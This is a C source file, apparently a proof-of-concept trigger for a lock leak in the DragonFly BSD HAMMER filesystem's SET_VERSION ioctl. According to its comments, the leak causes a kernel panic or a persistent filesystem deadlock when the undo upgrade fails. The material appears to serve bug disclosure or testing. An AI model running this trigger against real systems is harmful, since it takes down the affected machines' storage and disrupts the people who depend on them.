DF-0839 / trigger.c
/* * DF-0839 trigger โ hammer_ioc_set_version leaks sync_lock + finalize_lock * on the undo-upgrade failure path (hammer_ioctl.c:651 goto failed jumps * past the unlocks at :664-665). * * Two modes: * argv[1] = "probe" โ issue SET_VERSION(cur=4) on a HAMMER v<4 mount and * report the ioctl return + head.error. On a healthy * image the undo upgrade SUCCEEDS (locks released); * this mode proves reachability of the ioctl path. * argv[1] = "leak" โ same ioctl but the caller is expected to have * arranged for hammer_upgrade_undo_4() to fail * (corrupted UNDO blockmap in the image). On GENERIC * (INVARIANTS ON) this trips * KKASSERT(trans->sync_lock_refs == 0) * in hammer_done_transaction (hammer_transaction.c:131) * => immediate kernel panic. On production kernels * (INVARIANTS OFF) the sync_lock stays exclusively * held => every subsequent HAMMER write/flush deadlocks. * * Usage: trigger <path-to-file-on-hammer-mount> [probe|leak] * Build: cc -o trigger trigger.c */ #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <vfs/hammer/hammer_ioctl.h> int main(int argc, char **argv) { const char *path; const char *mode = "probe"; int fd, rc; uint32_t want = 4; /* upgrade to version 4 (triggers undo upgrade path) */ struct hammer_ioc_version ver; if (argc < 2) { fprintf(stderr, "usage: %s <file-on-hammer-mount> [probe|leak]\n", argv[0]); return 2; } path = argv[1]; if (argc >= 3) mode = argv[2]; fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 2; } memset(&ver, 0, sizeof(ver)); ver.cur_version = want; printf("[%s] issuing HAMMERIOC_SET_VERSION(cur=%u) on %s (fd=%d)\n", mode, want, path, fd); fflush(stdout); rc = ioctl(fd, HAMMERIOC_SET_VERSION, &ver); /* NOTE: hammer_ioc_set_version always returns 0 internally; the real * result is in ver.head.error. */ printf("[%s] ioctl rc=%d errno=%d (%s) head.error=%d head.flags=0x%x\n", mode, rc, errno, strerror(errno), ver.head.error, ver.head.flags); /* If leak mode succeeded in triggering the failure path AND we are on * an INVARIANTS kernel, the kernel will panic in hammer_done_transaction * before we even get here โ the open()/close() below would never return. * On a production kernel, a subsequent sync attempt would hang. */ if (ver.head.error != 0) printf("[%s] undo-upgrade FAILED (head.error=%d): locks LEAKED โ " "on GENERIC expect a panic in hammer_done_transaction; " "on production expect deadlock on next sync\n", mode, ver.head.error); else printf("[%s] undo-upgrade succeeded (no leak this run)\n", mode); close(fd); return (ver.head.error != 0) ? 0 : 0; } |